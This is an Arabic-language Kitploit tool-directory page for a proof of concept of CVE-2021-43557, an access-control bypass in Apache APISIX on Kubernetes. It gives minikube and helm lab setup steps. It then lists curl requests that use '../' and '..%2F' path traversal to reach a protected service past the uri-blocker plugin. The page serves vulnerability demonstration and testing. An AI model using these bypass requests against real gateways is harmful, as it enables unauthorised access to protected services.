Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
k8s-CVE-2021-43557-poc — إثبات المفهوم (PoC) لـ CVE-2021-43557 | Kitploit
أدوات/GitHubGitHub/xvnpw/k8s-cve-2021-43557-poc
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن السحابةأمن واجهات برمجة التطبيقات
GitHubxvnpw/k8s-cve-2021-43557-poc

k8s-CVE-2021-43557-poc

إثبات المفهوم (PoC) لـ CVE-2021-43557

عرض المستودع
223منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

التثبيت

  • تثبيت minikube
  • تثبيت apisix:
root@kitploit:~
helm repo add apisix https://charts.apiseven.com
helm repo add bitnami https://charts.bitnami.com/bitnami
helm repo update
kubectl create ns ingress-apisix
helm install apisix apisix/apisix \
  --set gateway.type=NodePort \
  --set ingress-controller.enabled=true \
  --namespace ingress-apisix \
  --version 0.7.2
kubectl get service --namespace ingress-apisix
  • نشر app.yaml: kubectl apply -f app.yaml
  • نشر routes: kubectl apply -f routes.yaml

اختياري، إذا كنت بحاجة إلى تغيير صور التطبيق:

  • (اختياري) بناء صور docker:
    • cd protected-service; docker build -t protected-service:0.0.1 .
    • cd public-service; docker build -t public-service:0.0.1 .
  • (اختياري) دفع صور docker إلى minikube:
    • minikube image load protected-service:0.0.1
    • minikube image load public-service:0.0.1

الاستغلال

يدويًا

للوصول إلى الخدمة العامة:

kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'

يجب أن يعيد 200

للوصول إلى الخدمة المحمية:

kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/protected-service/protected -H 'Host: app.test'

يجب أن يعيد 403

للوصول إلى الخدمة المحمية متجاوزًا حاجز uri-blocker: kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/..%2Fprotected-service/protected -H 'Host: app.test' للوصول إلى الخدمة المحمية متجاوزًا حاجز uri-blocker: kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/../protected-service/protected -H 'Host: app.test'

كلاهما يجب أن يعيدا 200

تنزيل الأداة